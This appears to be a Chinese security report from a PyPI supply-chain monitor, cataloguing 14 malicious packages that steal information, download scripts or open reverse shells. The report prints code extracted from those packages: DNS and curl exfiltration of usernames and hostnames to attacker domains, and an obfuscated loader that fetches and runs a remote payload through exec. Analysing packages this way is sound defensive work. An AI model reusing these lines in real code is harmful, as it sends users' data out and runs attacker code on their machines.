本周,天问Python供应链威胁监测模块共捕捉到14个恶意包,并于它们上传之后立马反馈PyPI官方,通知维护者将这些包删除。由于天问系统及时检测并发现了这些恶意包,他们在被上传到被删除之间都只被下载了几百次,避免这些恶意包攻击扩散。

根据这些恶意包的行为,他们可被分为三类:信息窃取类,脚本下载类,反弹Shell类。

信息窃取类

包名 作者 下载次数 简介
shlackbot whybeef 304 DNSLog 回传
stream-event-recognizer whybeef 96 DNSLog 回传
vitaminpy whybeef 471 DNSLog 回传
tensorflow-seerving whybeef 104 DNSLog 回传
s3transfers NOT Amazon Web Services 338 信息回传到http[x]://security.hsd1.co/6ca3/
bkbase-crypt htm 237 信息回传到http[x]://enjglpdgtgrbn4b.m.pipedream.net
dm-engine htm 186 信息回传到http[x]://enjglpdgtgrbn4b.m.pipedream.net
house3D htm 307 信息回传到http[x]://enjglpdgtgrbn4b.m.pipedream.net

在信息窃取类的恶意包也可被细分为两类:

1将窃取到的信息编译后通过DNS访问回传(Alex Birsan类信息窃取,详见:【天问】Python供应链威胁监测:依赖混淆再现 )。

此类包如:shlackbot、stream-event-recognizer、vitaminpy、tensorflow-seerving。

此类包通过Python脚本代码获取机器名、用户名和代码执行目录等敏感信息后,通过Base64编码成一个字符串作为子域名,然后通过发送dns1.thewhybee.com相关域名解析请求达到敏感信息外传的目的。

1
NS = 'dns1.thewhybee.com'
1
nslookup {} {}.format(host, NS)

如上述代码中,NS为包作者定义的域名解析服务器,host为编译过的子域名,如下所示。

v3_f.1nvut478z4sm.0.7b2270223a202273686c61636b626f74222c202268223a20226c696c692d.v2_e.dns.thewhybee.com

2将窃取到的信息直接作为参数回传。此类包如:s3transfers、bkbase-crypt、dm-engine、house3D。

此类包通过Python脚本代码获取机器名、用户名和代码执行目录等敏感信息后,通过requests.get的params参数或者直接将信息加到URL内以回传。如下所示。

1
requests.get("https://enjglpdgtgrbn4b.m.pipedream.net",params = ploads)

如上述代码中,ploads是包作者将敏感信息生成的字典。

1
curl  -s https://security.hsd1.co/6ca3/$(whoami | base64)/$(hostname -f | base64) > /dev/null

又或如上,作者将敏感信息whoami以及hostname通过Base64编码后直接拼接到URL中。

脚本下载类

包名 作者 下载次数 简介
PDtest unfwypbpitxyvcyrde 0 访问zevel.site/payload-02并下载可执行脚本
JPWhisky vkobnzbfdjixqkxrql 99 访问zevel.site/payload-02并下载可执行脚本
tre12 vkobnzbfdjixqkxrql 88 访问zevel.site/payload-02并下载可执行脚本
metest7 shooTest 248 访问172.17.0.1:100/buddy并下载可执行脚本
test-pack-vulnerable tawnypzzujsmyfyhbw 0 访问zevel.site/wannacry并下载可执行脚本

注:上述PDtest、test-pack-vulnerable由于上传时间为2021年11月25日,故当前还没有下载数据。

其中metest7是唯一一个无法确定恶意行为的包,因为其访问IP为内网地址,我们怀疑是该作者做的测试包,无法确定是否后期会替换成恶意执行脚本链接。

访问zevel.site的恶意包代码相似性极高,均使用以下编码过的脚本执行。

1
2
3
url = bytes.fromhex('687474703a2f2f7a6576656c2e736974652f7061796c6f61642d3032').decode()
payload = requests.get(url).text
getattr(builtins, bytes.fromhex('65786563').decode())(payload)

将上述代码解码后我们得到如下信息:

1
2
3
url = 'https://zevel.site/payload-02'
payload = requests.get(url).text
getattr(builtins, 'exec')(payload)

包作者访问zevel.site/payload-02下载可执行文件并通过exec执行。

反弹shell类

包名 作者 下载次数 简介
botaa3 shhnotcoolbro 129 在setup.py内将恶意代码Base64编码,当执行setup.py进行安装时会自动触发代码,形成一个反弹shell。

关于该包的代码、恶意行为分析详见:【天问】日下载超过600万的PyPI包“boto3”遭模仿攻击